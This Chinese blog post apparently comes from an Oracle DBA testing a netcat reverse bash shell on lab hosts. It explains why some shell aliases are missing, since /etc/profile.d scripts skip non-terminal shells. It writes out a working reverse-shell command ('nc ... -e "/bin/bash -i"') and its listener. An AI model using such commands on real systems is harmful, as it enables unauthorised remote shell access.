[20230314]nc reverse bash shell alias.txt
--//前几天测试,nc reverse bash shell时使用alias时遇到的问题,分析看看.
1.环境:
192.168.100.78 linux (Oracle Linux Server release 5.9)
192.168.98.6 windows
192.168.100.235 linux (Red Hat Enterprise Linux Server release 7.5 )
--//192.168.100.78 linux
--//192.168.100.235 linux
$ alias ll
alias ll='ls -l --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"'
2.测试:
--//192.168.100.78 linux
$ nc -l 1234
--//192.168.100.235 linux
$ nc 192.168.100.78 1234 -e "/bin/bash -i"
--//--//192.168.100.78 linux,注意没有提示符.
hostname
LIS-DB
ls
ora_audit_01423.bin
ora_audit_03399.bin
ora_audit_07.bin
sqlnet.log
alias rm
alias rm='/bin/rm -i --preserve-root'
alias ll
--//我很奇怪的是ll的别名不存在,但是rm的别名存在.为什么?
--//如果检查bash的执行,先后调用~/.bash_profile => ~/.bashrc => /etc/bashrc
--//在/etc/bashrc里面有一段代码:
SHELL=/bin/bash
# Only display echos from profile.d scripts if we are no login shell
# and interactive - otherwise just process them to set envvars
for i in /etc/profile.d/*.sh; do
if [ -r "$i" ]; then
if [ "$PS1" ]; then
. "$i"
else
. "$i" >/dev/null
fi
fi
done
--//会依次调用/etc/profile.d/目录里面的*.sh.而ll的别名就存在文件colorls.sh中.
alias ll='ls -l --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
alias l.='ls -d .* --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
alias ls='ls --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
--//而我定义在/etc/profile.d/alias.sh目录的别名都可以正常显示.执行,为什么ll不行呢.
alias zdate
alias zdate='date +"%Y/%m/%d %T"'
--//再仔细看colorls.sh代码的开始部分存在如下:
# color-ls initialization
# Skip all for noninteractive shells.
[ ! -t 0 ] && return
--//-t 解析如下:
-t FD file descriptor FD is opened on a terminal
--//也就是后面的语句根本没有执行.简单测试:
[ ! -t 0 ] && echo 1234
1234
echo $$
37162
ls -l /proc/37162/fd
total 0
lr-x------. 1 oracle oinstall 64 Mar 14 08:41 0 -> pipe:[2256008820]
l-wx------. 1 oracle oinstall 64 Mar 14 08:41 1 -> pipe:[2256008821]
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 2 -> /dev/pts/2
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 255 -> /dev/pts/2
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 3 -> socket:[2256008819]
lr-x------. 1 oracle oinstall 64 Mar 14 08:41 4 -> pipe:[2256008820]
l-wx------. 1 oracle oinstall 64 Mar 14 08:41 7 -> pipe:[2256008821]
--//只有指向正常的终端设备才不会指向后面的echo 1234.测试如下:
--//192.168.100.235 linux
# [ ! -t 0 ] && echo 1234
# ls -l /proc/$$/fd
total 0
lrwx------. 1 root root 64 2023-03-14 00:42:08 0 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:42:08 1 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:55:50 2 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:42:08 255 -> /dev/pts/1
--//当然解决很简单,参考[20230310]nc reverse bash shell问题.txt=>http://blog.itpub.net/267265/viewspace-2939167/
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/267265/viewspace-2939490/ ,如需转载,请注明出处,否则将追究法律责任。